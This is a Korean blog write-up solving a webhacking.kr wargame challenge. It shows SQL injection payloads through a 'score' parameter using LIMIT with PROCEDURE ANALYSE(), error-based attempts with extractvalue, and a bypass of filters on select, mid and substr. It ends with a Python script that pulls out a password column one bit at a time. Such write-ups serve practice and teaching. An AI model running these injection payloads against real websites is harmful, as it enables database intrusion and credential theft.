2년만에 웹 라업이다.
들어가면 머 대충 이런 페이지가 있다.
힌트란다.
컬럼을 준다. 근데 password 컬럼은 안 준다.
저 점수 링크를 누르면 해당 점수의 사람을 보여준다.
?score=2147483647
그리고 limit으로 조절하면 바로 인젝션이 터진다.
procedure analyse()로 컬럼을 뽑아보았더니 바로 뽑힌다.
?score=-1%20limit 2,1 procedure analyse()
출력도 해주겠다, 그래서 error base로 바로 조지려고 했다.
?score=-1 limit procedure analyse(extractvalue(1,concat(0x3a,version())),1)
머 대충 이런식으로 했는데 version()이 안 뽑힌다.
그래서 version() 대신 (select pAsSw0RdzzzZ) 머 대충 이런식으로 넣었는데,
select가 필터링 된 듯 하다. no hack이 뜬다....
그래서 블라인드로 한 글자씩 조지기로 한다.
그런데 mid, substr이 필터링 되어있었다.
left, right로 우회하기로 한다.
right(left(pw,n),1) 일케하면 댄다.
아래는 익스다
import requests session = '08f30132f41f19d527a2aa9b01c95e5f' headers = { 'Cookie': 'PHPSESSID='+session } s = requests.session() pw = '' for n in range(1,21): bin = '' for x in range(1, 8): url = "http://webhacking.kr/challenge/web/web-31/rank.php" payload = "?score=-1%20or%20right(left(lpad(bin(ord(right(left(pAsSw0RdzzzZ,"+str(n)+"),1))),7,0),"+str(x)+"),1)" r = s.get(url+payload, headers=headers) page = r.text if 'id : localhost' in page: bin += str(1) else: bin += str(0) pw += chr(int(bin, 2)) print n, pw
'write-up > webhacking.kr' 카테고리의 다른 글
22 (0) | 2016.08.23 |
---|---|
9번 (0) | 2016.07.17 |
13번 (0) | 2016.07.16 |
webhacking.kr 파일 업로드 문제 (0) | 2016.07.16 |
57번 (0) | 2016.04.09 |